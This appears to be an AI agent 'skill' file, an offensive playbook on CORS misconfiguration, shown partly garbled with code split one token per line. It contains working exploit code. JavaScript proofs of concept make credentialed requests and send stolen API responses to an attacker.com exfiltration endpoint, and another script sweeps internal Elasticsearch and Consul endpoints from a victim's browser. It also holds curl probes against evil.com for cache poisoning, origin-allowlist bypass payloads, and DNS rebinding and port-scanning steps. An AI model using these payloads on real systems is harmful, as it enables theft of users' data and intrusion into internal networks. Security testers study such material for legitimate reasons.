- SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors
- AI LOAD INSTRUCTION
- Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion SCENARIOS.md . Extended Scenarios Also load SCENARIOS.md when you need: JSONP hijacking complete attack scenario — watering hole +
"
</ iframe
The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response. 6. SUBDOMAIN XSS → CORS BYPASS CHAIN Attack flow 1. Target API at api.target.com allows CORS from .target.com 2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc. 3. Exploit XSS to make credentialed requests to api.target.com 4. CORS allows the request → attacker reads sensitive API responses PoC (injected via XSS on blog.target.com) fetch ( 'https://api.target.com/v1/user/profile' , { credentials : 'include' } ) . then ( r => r . json ( ) ) . then ( data => { navigator . sendBeacon ( 'https://attacker.com/exfil' , JSON . stringify ( data ) ) ; } ) ; Why this works blog.target.com is same-site with api.target.com → SameSite cookies sent CORS allowlist includes .target.com → Access-Control-Allow-Origin: https://blog.target.com Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain Reconnaissance for this chain □ Enumerate subdomains (amass, subfinder, crt.sh) □ Test each for XSS (stored, reflected, DOM) □ Check if API CORS accepts subdomain origins □ Subdomain takeover candidates also qualify 7. VARY: ORIGIN CACHING ISSUE Problem When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins: 1. Attacker requests: Origin: https://attacker.com Response cached with: Access-Control-Allow-Origin: https://attacker.com 2. Victim requests same URL (no Origin or different Origin) Cache serves response with: Access-Control-Allow-Origin: https://attacker.com → Victim's browser allows attacker.com to read the response (CORS cache poisoning) Detection
Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I
Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I
Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
→ cache poisoned, Vary: Origin is missing
- Exploitation
- 1. Warm the cache: send request with Origin: https://attacker.com
- 2. Wait for victim to access the same cached URL
- 3. Cached ACAO header allows attacker.com to read the response
- 4. Attacker page fetches the URL → reads cached response with credentials
- Fix verification
- □ Response includes Vary: Origin
- □ Cache key includes the Origin header
- □ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)
- 8. REGEX BYPASS PATTERNS
- Common flawed regex patterns for origin validation:
- Intended Pattern
- Flaw
- Bypass Origin
- ^https?://.*.target.com$
- .*
- matches anything including
- -
- https://attacker-target.com
- ^https?://.*target.com$
- Missing anchor after subdomain
- https://nottarget.com
- ,
- https://attacker.com/.target.com
- target.com
- (substring match)
- No anchors
- https://attacker.com?target.com
- ^https?://(.*.)?target.com$
- Missing port restriction
- https://target.com.attacker.com:443
- ^https://[a-z]+.target.com$
- Missing end anchor for path
- N/A (but misses subdomains with
- -
- or digits)
- Backtracking-vulnerable regex
- ReDoS
- https://aaaa...aaa.target.com
- (CPU exhaustion)
- Test payloads for origin validation bypass
- https://attacker.com/.target.com
- https://target.com.attacker.com
- https://attackertarget.com
- https://target.com%60attacker.com
- https://target.com%2F@attacker.com
- https://attacker.com#.target.com
- https://attacker.com?.target.com
- null
- Advanced: Unicode normalization bypass
- https://target.com → https://ⓣarget.com (Unicode homoglyph)
- Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.
- 9. INTERNAL NETWORK CORS EXPLOITATION
- Scenario
- An internal-only API (e.g.,
- http://192.168.1.100:8080/admin
- ) is configured with:
- Access-Control-Allow-Origin
- :
- *
- Internal APIs often use wildcard CORS because "only internal users can reach it."
- Attack chain
- 1. Attacker sends victim (internal employee) a link to attacker.com
- 2. Attacker page JavaScript fetches internal API:
- fetch('http://192.168.1.100:8080/admin/users')
- 3. CORS allows * → response readable
- 4. Exfiltrate internal data to attacker server
- // On attacker.com — target internal API from victim's browser
- const
- internalAPIs
- =
- [
- 'http://192.168.1.1/admin/config'
- ,
- 'http://10.0.0.1:8080/api/users'
- ,
- 'http://172.16.0.1:9200/_cat/indices'
- ,
- // Elasticsearch
- 'http://localhost:8500/v1/agent/members'
- ,
- // Consul
- ]
- ;
- internalAPIs
- .
- forEach
- (
- url
- =>
- {
- fetch
- (
- url
- )
- .
- then
- (
- r
- =>
- r
- .
- text
- (
- )
- )
- .
- then
- (
- data
- =>
- {
- navigator
- .
- sendBeacon
- (
- 'https://attacker.com/exfil'
- ,
- JSON
- .
- stringify
- (
- {
- url
- ,
- data
- }
- )
- )
- ;
- }
- )
- .
- catch
- (
- (
- )
- =>
- {
- }
- )
- ;
- }
- )
- ;
- Port scanning via CORS timing
- Even without
- Access-Control-Allow-Origin: *
- , the attacker can infer internal service availability:
- Port open
-
- connection established → CORS error (different timing)
- Port closed
-
- connection refused → fast error
- Host down
- timeout → slow error Combined with DNS rebinding 1. Attacker controls attacker.com with short TTL (e.g., 0 or 1) 2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS) 3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP) 4. JavaScript on the page fetches attacker.com/admin → now hits internal server 5. Same-origin policy satisfied (same domain) → response readable